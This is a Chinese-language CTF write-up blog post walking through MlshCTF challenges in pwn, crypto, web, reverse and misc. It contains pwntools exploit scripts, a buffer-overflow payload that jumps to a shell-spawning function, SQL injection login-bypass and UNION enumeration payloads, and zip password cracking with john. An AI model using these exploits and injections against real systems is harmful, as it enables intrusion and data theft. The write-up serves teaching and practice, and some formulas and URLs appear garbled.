MlshCTF-Writeup

前言
此為MlshCTF的Writeup
各類型出題者如下,有問題可+dc聯絡
網站 : https://ctf.mlshctf.site/
Welcome、Crypto、Misc、Pwn : catcat4561
Reverse : gogogo5327
Web : krin.xiao
Welcome
Welcome
點進網頁https://ctf.mlshctf.site/
根據題目「網頁藏了一點咚咚」故猜測flag藏在網頁裡
按下f12查看網頁原始碼,依序點開查看,發現flag
Pwn
Guess a Number
這題有兩種解法
解法1
因為我沒限制時間,所以可以直接nc連進去後,透過手動輸入來猜數字(暴力破解)
解法2(預期解)
- 把source code載下來觀察得知當每次我們nc連上去後,會產生一個隨機數字(secret),範圍是1~10000000
1
2
3
4
5
6
7
8
9
10
11
12
13
14def main():
print("Try to guess a secret number!(1~10000000)")
secret = randint(1, 10000000)
num = 0
while num != secret :
num = int(input())
if num < secret :
print("Higher!")
elif num > secret :
print("Lower!")
elif num == secret :
break
print("Congratulations! You win!")
print(f"Here is the flag : {flag}")
之後會讀我們的輸入,當我們輸入的數字
- 小於secret,輸出Higher!
- 大於secret,輸出Lower!
- 等於secret,輸出flag
讀懂題目後,可以來撰寫腳本來解決這題了,這裡會利用pwntools加上二分搜來解,流程如下 :
1.先remote到目標主機
2.利用迴圈重複輸入,並在輸入的過程使用二分搜,提高找到secret的效率程式碼如下:
remote ip 記得更改為跟題目給的ip一樣1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22from pwn import *
r = remote("192.168.3.17", 20001)
r.sendlineafter(b"Try to guess a secret number!(1~10000000)\n", b"1")
down = 1
up = 10000001
i = 1
while 1 :
secret = r.recvline(1)
print(secret)
if secret == b"Higher!\n" :
down = i
i = (down + up) // 2
r.sendline(str(i))
elif secret == b"Lower!\n" :
up = i
i = (down + up) // 2
r.sendline(str(i))
else :
break
r.interactive()
Math
這題一樣有兩種解法
解法1
因為我沒限制時間,所以可以直接nc連進去後,自行計算後手動輸入(暴力破解)
解法2(預期解)
- 把source code下載後觀察
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19def main():
print("There are 100 math questions here, try to answer it.")
operator = ['+', '-', '*']
win = 1
for i in range(1, 101):
num1 = randint(1, 100)
num2 = randint(1, 100)
randomnum = randint(0, 2)
print(f'Question {i}: {num1}{operator[randomnum]}{num2}=', end="")
string = str(num1)+operator[randomnum]+str(num2)
ans = eval(string)
num = int(input())
if num != ans :
win = 0
print("Wrong answer! bye~")
break
if win :
print("Congratulations! You win!")
print(f"Here is the flag : {flag}")得知題目最一開始1
如果覺得程式碼看不太懂,也可以透過直接nc,看他會輸出甚麼東西
- 設了一個陣列(operator),內容是”+、-、*”(加減乘)
- 會隨機生成從1 ~ 100的兩個數字(num1、num2)
- 還有一個從0 ~ 2的數字(randomnum)
之後會輸出num1 operator[randomnum] num2
並利用eval算出num1 operator[randomnum] num2
的答案,並把答案記錄在ans變數裡 (程式碼第11行)
最後讀我們的輸入,如果輸入 != ans,那就會把win = 0
如果成功答完100題(win = 1)那就可以獲得flag
- 主要利用pwntools和eval函數來解決這題
eval介紹
- 用途 :
可直接給運算式,快速計算出運算式的結果 - 語法 :
1
eval(expression[, globals[, locals]])
- 例子 :
1
2
3calculation = 5*10
result = eval(calculation)
print(result) #會輸出50
- 用途 :
解題流程
- 先remote到目標主機
- 利用迴圈,讀入運算式
根據nc內容和eval的使用方法,得知我們要的是”79*10”或是”61+100”的部分,
也就是”: “後面跟”=”前面的部分,
所以這裡我的寫法是利用recvuntil
把”: “前面都忽略掉,之後再把後面的字串用變數儲存起來1
Question 1: 79*10= ->79*10=
.decode()是因為我們recv下來的字串會是byte形式,前面會多一個b’’1
calculation = r.recvuntil(b'=').decode()
此時calculation = “79*10=”1
2
3
4在Terminal上面看到的
Question 1: 79*10=
如果全部recv下來,會是
b'Question 1: 79*10='
但我們不要”=”,所以要多加一個[:-1]解釋大概是[從0到 : 最後-1的位子]1
calculation = r.recvuntil(b'=')[:-1].decode()
這時候calculation就會是”79*10”了 - 利用eval計算出答案送出
- 程式碼如下 :
remote ip 記得更改為跟題目給的ip一樣1
2
3
4
5
6
7
8
9
10
11
12from pwn import *
r = remote("192.168.3.17", 20002)
r.recvuntil(b"try to answer it.\n")
for i in range(1, 101):
r.recvuntil(b': ')
calculation = r.recvuntil(b'=')[:-1].decode()
print(calculation)
ans = eval(calculation)
r.sendline(str(ans))
r.interactive()
BabyOverFlow
觀察babychal.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18void backdoor() {
printf("Oh No! You are a Bad Hacker!\n");
execve("/bin/sh", 0, 0);
}
void uname() {
char str[16];
printf("input your name: \n");
fgets(str, sizeof(str), stdin);
printf("Hello, %s", str);
}
void uprofession() {
char name[32];
printf("What is your profession? \n");
gets(name);
printf("Oh, I see. \n");
}發現可利用的副函式(backdoor)
裡面的execve("/bin/sh", 0, 0);
可成功造成RCE
也發現在uprofession()裡面是使用gets
讀輸入,代表可以輸入任意長度的字元
由以上可知這題是典型的Buffer overflow
所以可得解題流程 :- 先找出backdoor的記憶體位址
- 利用gets,讓name的return address變成backdoor的記憶體位址,讓整個程式跳到backdoor
- 最終執行execve(“/bin/sh”, 0, 0);成功RCE
gdb找backdoor記憶體位址
先載下題目給的babyflow並執行看看記得chmod +x babyflow 不然執行不了
得知大概會長這樣
之後利用gdb找backdoor
輸入指令info functions
得到backdoor的記憶體位址為0x040121d
name + return adress的大小
從這裡可得知,name大小為321
2
3
4
5
6
7void uprofession() {
char name[32];
printf("What is your profession? \n");
gets(name);
printf("Oh, I see. \n");
}通常會在+8得到name + return adress的大小,所以我們最後payload會是
隨機長度為40的字串 + 0x040121d程式碼如下
記得記憶體位址要用p64()包起來1
2
3
4
5
6from pwn import *
r = remote("192.168.3.17" ,20003)
r.sendlineafter(b"input your name:", b"a")
payload = b"a"*40 + p64(0x040121d)
r.sendlineafter(b"What is your profession?", payload)
r.interactive()
How old are you?
這題只有給ELF檔(執行檔)所以先利用IDA去反編譯得到原始程式碼
IDA -> 案F5反編譯
1 | 不過反編譯不一定完全正確,但基本應該都是對的 |
反編譯的結果:
一開始會先讀輸入(第五行利用scanf讀age)
- 如果
age等於18,那就會return 0結束(第10行) - 否則
讀輸入(第15行利用gets讀name)- 如果age等於18,那就會執行execve(“”/bin/sh”)(第20行取得RCE)
- 否則
結束return 0(第28行)
由以上可知,我們要利用gets函數改到age的值(第15行),讓age等於18成功RCE(第20行)
但是gets是讀name,那要怎麼改到age的值呢?
這時候可以去觀察看看變數的記憶體位址(在剛剛的IDA點兩下age)
從中獲取兩個訊息 :
- 0x0404080是name的位址,0x0404090是age的位址
- name記憶體位址在age前面
經過計算,得知他們相差16bytes
所以可以知道
name蓋16bytes會到age
- 解法
利用gets蓋16bytes到age,讓age=18
可以來寫exploit了
- 程式碼如下 :
1
2
3
4
5
6
7
8
9from pwn import *
r = remote("35.234.62.52", 20003)
payload = p64(18)
print(payload)
r.sendlineafter(b"How old are you?\n", b"17")
r.sendlineafter(b"What your name?\n", b"a"*16+p64(18))
r.interactive()
Crypto
BabyXOR
這題考的是xor(也就是⊕(數學表示)、^(電腦表示))
要先知道甚麼是xor
可以參考這個網頁的介紹(知道大概原理跟特性就好)
https://ithelp.ithome.com.tw/articles/10318277
再來看這題的題目
1 | key2 = "395467574f6d616c73774d6152733650374b496351367a64663438" |
解法 :
結合特性中的
A⊕B⊕B = A⊕0 = A
把Flag ^ key2 ^ key3 ^ key1中的key2、key3、key1消掉得到flag
也就是(Flag ^ key2 ^ key3 ^ key1)^(key1 ^ key3)^(key2)
-> 題目中的 第四行xor第二行xor第一行程式碼如下 :
利用pwntools中的xor函數解題,注意該函數格式固定要是bytes,所以要先轉成bytes然後再去做xor 我這裡是先把key2跟(key1 ^ key3)xor起來,在一次跟(Flag ^ key2 ^ key3 ^ key1)消掉
1
2
3
4
5
6
7
8
9
10
11from pwn import *
key2 = "395467574f6d616c73774d6152733650374b496351367a64663438"
key1_3 = "7643346f3c5723212a061f1c272e0c6461036302313f6000393336"
key2_3 = "7c26306f175d131f381f2b0f34170f660018781221602c2005447d"
flag_2_3_1 = "027b2050306e0436213e2022440e6507167d533e32282c0c0b3873"
key1_2_3 = xor(bytes.fromhex(key2), bytes.fromhex(key1_3))
flag = xor(bytes.fromhex(flag_2_3_1), key1_2_3)
print(flag.decode())
Classical Cipher
從題目得知,這題考的是古典密碼
而常見的古典密碼有 :
- Caesar Cipher 凱薩密碼
- Vigenère Cipher 維吉尼亞密碼
- Rail-fence Cipher 籬笆密碼
- …還有很多
根據以上猜測題目中的
1 | Fdp esp vpj "EspDloDezcj" ez cplo l dlo dezcj. |
可能經過凱薩加密
所以利用線上解密器得到以下明文
https://cryptii.com/pipes/caesar-cipher
1 | Use the key "TheSadStory" to read a sad story. |
讀字面意思就是用key讀story,而題目也有給story.txt,下載下來後打開看看
1 | Hugw usgg o kgfl, sf tkw gwxfm vj Foywfpvp 11mo. M oaocxr rjhui an |
發現甚麼都看不懂,但因為這題題目叫Classical Cipher
而古典密碼中需要key的加密,常見的有維吉尼亞
故利用線上解密器,結合剛剛得出的key”TheSadStory”來解密看看
成功得到FLAG
講接下來的兩題RSA前,先補充一下,甚麼是RSA
RSA介紹
https://zh.wikipedia.org/zh-tw/RSA%E5%8A%A0%E5%AF%86%E6%BC%94%E7%AE%97%E6%B3%95
模運算
表示為a mod n
a代表被取模的數,n是模數,運算結果為a除以n的餘數
e.g. 18 mod 4 = 2 因為18除以4的餘數為2
python表示
a = 某數,e = 平方幾次,n = 模數1
pow(a, e, n)
e.g. 3的2次方mod4 = 1
1
pow(3, 2, 4)
RSA流程大致如下:
- 先選擇任意兩大的質數(p和q),且p不等於q
- 設
- 根據歐拉函數,得到
- 選擇一個小於r的整數e,使e跟r互質,並求得e關於r的模反元素,設為d
(求d ->)
- RSA加密:
c為加密後的結果,n為明文(加密前),e為模數,N為p*q - RSA解密:
n為解密後的結果,c為密文(加密後),d為e跟r((p-1) * (q-1))的模反元素,e為模數,N為p*q
RSA_Easy
1 | 這題題目我出爛了,所以可以直接用網站解哭了 |
下載來後看一下程式碼:
1 | from secret import flag |
這個程式的output:
1 | n = 7906961983747432626460011685427449111190647169309825535629493220735583689550836202522449 |
因為我們沒有程式碼中的secret檔案,所以不能執行程式碼,需要透過output推測出flag是啥
解法一
直接丟網站解
https://www.dcode.fr/rsa-cipher
解法二
根據最前面的RSA介紹,得知這題的flag被rsa加密(程式碼第8行)
c = pow(flag, e, n)
對應
1 | 分別對應 c = c, flag = n, e = e, n = N |
所以我們要利用output給的n, e, c去解密得到flag
也就是利用這條
我們有c跟N了(題目output給的),所以只要把d求出來就有flag了
- 求d流程:
r = (p-1) * (q-1)- 先把題目給的n拿去分解,得到p跟q
- 求出r
- 得知d為e關於r的模反元素,故求出模反元素及為d
可利用Crypto.Util.number中的inverse得出1
d = inverse(e, r)
- 求d
丟到網站得到p跟q
1
這個網站可以記一下,如果遇到很大的數要分解p跟q可以用用看這網站,有機率可以找到
r = (p-1) * (q-1)
inverse(e, r)
程式碼如下 :
1 | from Crypto.Util.number import * |
RSA_Advance
1 | 這題題目我又出爛了,所以也可以直接用網站解ˊ_>ˋ |
下載後看程式碼:
1 | from secret import flag |
output :
1 | n = 15045495637503383076886953664154628393474382722562097530999670110312205525123675984984457845456708845774201681442538409200532681248443773083205661051124547874615024774861919511184043086702330641224929428440143704795211884788511910045989370439551141778648666746332595358813214460211124127636277094461223263529534077171016884742434937890065649394831197099347196727313714257477982860422784670578990792512560956499088115838017506486753568692666981228370059568447799605013124721946372995902592154637756547300184585775730143167385057571430079872278805985396417884391982566171376997918395451503108556043731799748076934929411 |
解法1
直接丟網站解
https://www.dcode.fr/rsa-cipher
解法2
這題的n很大,分解的話要花很多時間,且剛剛factordb網站也沒有分解過後的資料,故不能直接去分解
除此之外,從程式碼得知p跟q很大
1 | p = getPrime(1024) |
之後會發現,e很小,所以可以利用一種攻擊”small e attack”
原理大概是
所以我們只要對c開e次方根就可以得到flag
程式碼如下:
1 | from Crypto.Util.number import * |
The secret message
這題要了解AES中的ECB跟CBC
可以看這篇文章
https://ithelp.ithome.com.tw/articles/10336337
且也要做過AES的題目(才看得懂python中關於AES的語法)
查看程式碼:
1 | from secret import flag |
- encrypt_flag()
利用AES_CBC mode把flag加密後回傳 - ECB_decrypt()
把拿到的字串去做ECB解密,並把解密後的結果回傳
整體簡單來說,nc上之後,會輸出iv跟message給你(每次nc上去,iv跟message都會不一樣,因為iv跟key都是隨機生成的(第九跟第十行)),然後message經encrypt_flag()
加密
還有一個工具”ECB decrypt”給你使用,可以把你輸入的內容ECB decrypt後的結果輸出
所以這題就是要利用ECB decrypt這個工具去解出message是啥來得到flag
那要怎麼利用呢?
來看一下這兩張圖
1 | ECB : |
1 | CBC : |
我們可以觀察出
- 加解密用的key是相同的,就長一樣
1
key在程式碼中為全域變數,故使用相同的key
- ECB 跟 CBC 差別只有CBC多了一個xor的動作(紅框部分為相同)
觀察出這樣就可以輕鬆解題了!
解題流程
- 把得到的message切割成cipher1、cipher2、cipher3
- 分別利用題目的工具去做ECB decrypt,得到plaintext1_temp、plaintext2_temp、plaintext3_temp
- 把plaintext1_temp跟iv做xor,得到plaintext1
- 把cipher1跟plaintext2_temp做xor,得到plaintext2
- 把cipher2跟plaintext3_temp做xor,得到plaintext3
- 把plaintext1、2、3組合得到message
程式碼如下:
1 | 這題也可以人工輸入,得到數據後用python做xor,不一定要全靠程式 |
1 | from pwn import * |
Web
尋旗行動
點進網頁 http://http://34.81.154.203/:10001/
Hint給了一個路徑/flag
訪問後得到flag
簡單的登入
點進網頁 http://http://34.81.154.203/:10002/
根據題目,猜測說此題考的是利用SQL injection bypass登入頁面
f12觀察發現有給登入頁面SQL查詢的語法
SELECT * FROM users WHERE username = '$user' AND password = '$pass'
得知如果我們分別在欄位Username跟Password輸入
Username : admin
Password : aaa
那查詢語句就會是SELECT * FROM users WHERE username = 'admin' AND password = 'aaa'
所以我們就可以來構建我們的攻擊語句了!
思路 : 因為我們不知道密碼,故需要bypass密碼驗證
解法 (把AND後面都註解掉)
SELECT * FROM users WHERE username = '' AND password = ''
首先我們username先輸入admin
輸入 : username = admin
SELECT * FROM users WHERE username = ‘ admin ‘ AND password = ‘’
因為我們要把後面都註解掉,所以我們在admin後面多加一個單引號來達成閉合
輸入 : username = admin’
SELECT * FROM users WHERE username = ‘ admin’ ‘ AND password = ‘’
接下來我們要讓這個查詢語句成立,可以利用OR 1=1 – 來達成
輸入 : username = admin’ OR 1=1 – (注意–後面有空格,如沒有空格會失敗)
SELECT * FROM users WHERE username = ‘ admin’ OR 1=1 – ‘ AND password = ‘’
因為1=1恆正,且後方密碼檢查被”– “註解掉,所以該查詢成立
ps. 如果直接複製貼上,會失敗,因為Markdown的兩個減號會合併成1個長的減號,所以建議自己手動打打看(- -去掉空格)
p.s.,另解:通靈出來帳號為admin, 密碼為hudio23d79232@oahdaqpakk
詳細可參考這篇 : https://feifei.tw/sql-injection/
還有這篇 : https://ithelp.ithome.com.tw/articles/10189201
轉檔的奧秘
Reverse
BabyReverse
1.將檔案解壓縮以後,把exe檔丟到逆向工具(ida)做原碼分析
2.按F5,查看原代碼
3.將三段flag結合,本題結束flag為MlshCTF{G0oD_s7uDEnt_1!K3_REVerS3}
Calculator
1.將檔案檔丟到逆向工具(ida)做原碼分析
2.按F5,查看原代碼
3.點進函式str(), std(), stg()尋找比對數值
4.找到三個數值,相加3113768+20190067+1609537=24913372
flag為MlshCTF{24913372}
mega-reverse
方法一:靜態分析
1.將檔案檔丟到逆向工具(ida)做原碼分析
2.按F5,查看原代碼
3.進入第16行的enc()函式,找到加密flag 的方式為XOR
4.將v4和v5去掉開頭0x和結尾LL,因為是little endian,所以要反轉輸入,再串接起來
v4=6b6c72663835303339353830346d35756678636f7169786c656f33677073636f
v5=165f21147d4303416641796f505d7a4c394b310e2e1c17351e29672418000f22
5.兩數做XOR,就會得到反的flag:
6.再用工具字串反轉,就可以得到正確的flag
方法二:
1.打開linux終端機,wget 網址到終端機
2.利用chmod增加執行權限
3.輸入gdb ./mega-rev ,用來打開gdb
(gdb 插件peda安裝請看: https://blog.csdn.net/am_03/article/details/119869376 )
4.輸入b main ,設斷點在主程式main
5.輸入r (run)就可看到code 和stack的內容
6.輸入n (next)可以跳轉到下一行指令,按下28次後就在stack 0032 中看到flag
,原理是因為flag會在程式中解密得到,但不會輸出,所以要在stack中查看
flag=MlshCTF{You_aR3_9O0d_At_r3vErS3}
Misc
Exploring JPG Images
利用工具查看jpg exif,這裡示範為用exiftool
看到可疑被base64編碼過後的字串
拿去decode得到flag
ZipCrack
利用john加上rockyou.txt字典檔來爆破zip密碼
輸入指令
1 | zip2john Flag.zip > zip.hash |
成功後輸入指令把密碼show出來
1 | john -show zip.hash |
得知密碼為zachariah1
利用密碼打開zip裡面的flag.txt得到flag
好厲害題目(Web)
先備知識
順序
庫->表->欄
MySQL | MsSQL | 用途 |
---|---|---|
version() | @@version | 得知版本 |
database() | db_name() | 得知當前所在的資料庫 |
user() | user | 得知當前使用者名稱 |
limit
1 | limit 0,1 為從第一筆資料開始輸出1項 |
ps. MsSQL沒有limit,可用以下代替
1 | UNION SELECT * FROM !!! ORDER BY ??? OFFSET 0 ROWS FETCH NEXT 1 ROWS ONLY |
information_schema
1 | information_schema.SCHEMATA ->記錄這個SQL有哪些庫 |
Sqli_1
題目網址 : http://34.81.154.203:10004/
進去後先隨便點一個報導
發現可能存在注入風險的路徑(id=1)
先來測試一下
可用
id = 4-2
id = 3-2
id = 1 and 1=1
我們用id=4-2試試看
會發現跑到第二篇報導了
由此可知這個網頁可能有sqli的漏洞
用UNION SELECT攻擊試試看
因為UNION要兩邊個數一樣
先試試看UNION SELECT 1
發現啥都沒有,代表不只有一個,再試試看兩個UNION SELECT 1,1
也是甚麼都沒有,再來試3個UNION SELECT 1,1,1
發現這次有東西了,所以我們可以把1,1,1都換成version(),user(),database()試試看
UNION SELECT version(),user(),database()
第三個跑不出來所以在UNION一次UNION SELECT version(),database(),1
得知我們現在在mysql_union這個資料庫裡
找到庫了,接下來要來找這個庫有哪些表information_schema.tables
這裡記錄所有的表
所以可以輸入0 UNION SELECT table_name,1,2 from information_schema.tables WHERE table_schema = 'mysql_union'
這句話的意思大概是
從’information_schema.tables’找出有在’mysql_union’庫裡面的表
找到了flags這個表
接下來找這個表有哪些欄0 UNION SELECT column_name,1,1 from information_schema.columns where table_name = 'flags'
會發現找到了content這個欄位
就可以來看這個欄位的內容拉0 UNION SELECT content,2,3 from flags
!居然沒有flag,這時候就要用到limit了,因為我們一次只能輸出一列,而limit可以限制要輸出哪一列,所以我們讓他輸出第二列
0 UNION SELECT content,2,3 from flags limit 1,1
得到flag
補充
除了content這個欄位
輸入0 UNION SELECT column_name,2,3 from information_schema.columns where table_name = 'flags' limit 1,1
會發現還有一個欄位是id
輸入0 UNION SELECT id,content,3 from flags limit 0,1
回傳
1 (id)
Oops, not here (content)
輸入0 UNION SELECT id,content,3 from flags limit 1,1
回傳
2 (id)
MlshCTF{…} (content)
用sqlmap看的話就是長這樣
前面其實mysql_union也不只有flags這張表,都可以用limit玩看看
希望這樣有更清楚一點XD
Sqli_2
Sqli_3
Sqli_nogamenolife
LFI
- Title: MlshCTF-Writeup
- Author: Zerocatw
- Created at : 2024-07-20 22:10:10
- Link: https://zerocatw.github.io/2024/07/20/MlshCTF-Writeup/
- License: This work is licensed under CC BY-NC-SA 4.0.